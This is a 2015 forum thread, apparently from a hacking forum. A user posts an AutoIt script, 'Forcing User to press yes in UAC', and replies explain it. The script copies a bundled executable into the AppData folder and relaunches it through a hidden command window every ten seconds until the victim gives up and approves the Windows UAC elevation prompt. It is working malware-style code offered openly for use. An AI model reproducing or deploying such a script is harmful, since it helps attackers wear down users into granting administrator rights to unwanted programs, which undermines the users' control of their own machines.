H4ckCoder Posted August 17, 2015 Share Posted August 17, 2015 [HIDE-THANKS] #cs ---------------------------------------------------------------------------- AutoIt Version: 3.3.14.1 Author/Coder: dead Sand /MR~X [Mohamed Simon] Script Function: Forcing User to press yes in UAC Instructions : - needtoUAC.exe Is the file that Need Administrator Permission - Put needtoUAC.exe Next To Script To Copy It To Appdata Folder #ce ---------------------------------------------------------------------------- while 1 FileInstall("needtoUAC.exe", @AppDataDir&"/needtoUAC.exe") ;Copy To appdata If ProcessExists("needtoUAC.exe") Then ;Check If Process Is Runing Exit 0 ;Close Script Else ;Check If Process Isn`t Runing $Command = "%appdata%/needtoUAC.exe" ;Command Will Execute in cmd RunWait(@ComSpec & " /c " & $Command , @TempDir, @SW_HIDE) ;using Cmd In hidden Mode sleep(10000) EndIf WEnd This is the hidden content, please Sign In or Sign Up [/HIDE-THANKS] Link to comment Share on other sites More sharing options...
0b3y Posted August 17, 2015 Share Posted August 17, 2015 Re: Forcing User to press yes in UAC Need of needtouac.exe, please leave a link or something Link to comment Share on other sites More sharing options...
chequinho Posted August 17, 2015 Share Posted August 17, 2015 Re: Forcing User to press yes in UAC Need of needtouac.exe, please leave a link or something "needtouac.exe" is the file that you want to run with elevated privileges. Link to comment Share on other sites More sharing options...
H4ckCoder Posted August 17, 2015 Author Share Posted August 17, 2015 Re: Forcing User to press yes in UAC Need of needtouac.exe, please leave a link or something Instructions : - needtoUAC.exe Is the file that Need Administrator Permission - Put needtoUAC.exe Next To Script To Copy It To Appdata Folder this code forcing the user to click Yes on UAC Link to comment Share on other sites More sharing options...
Recommended Posts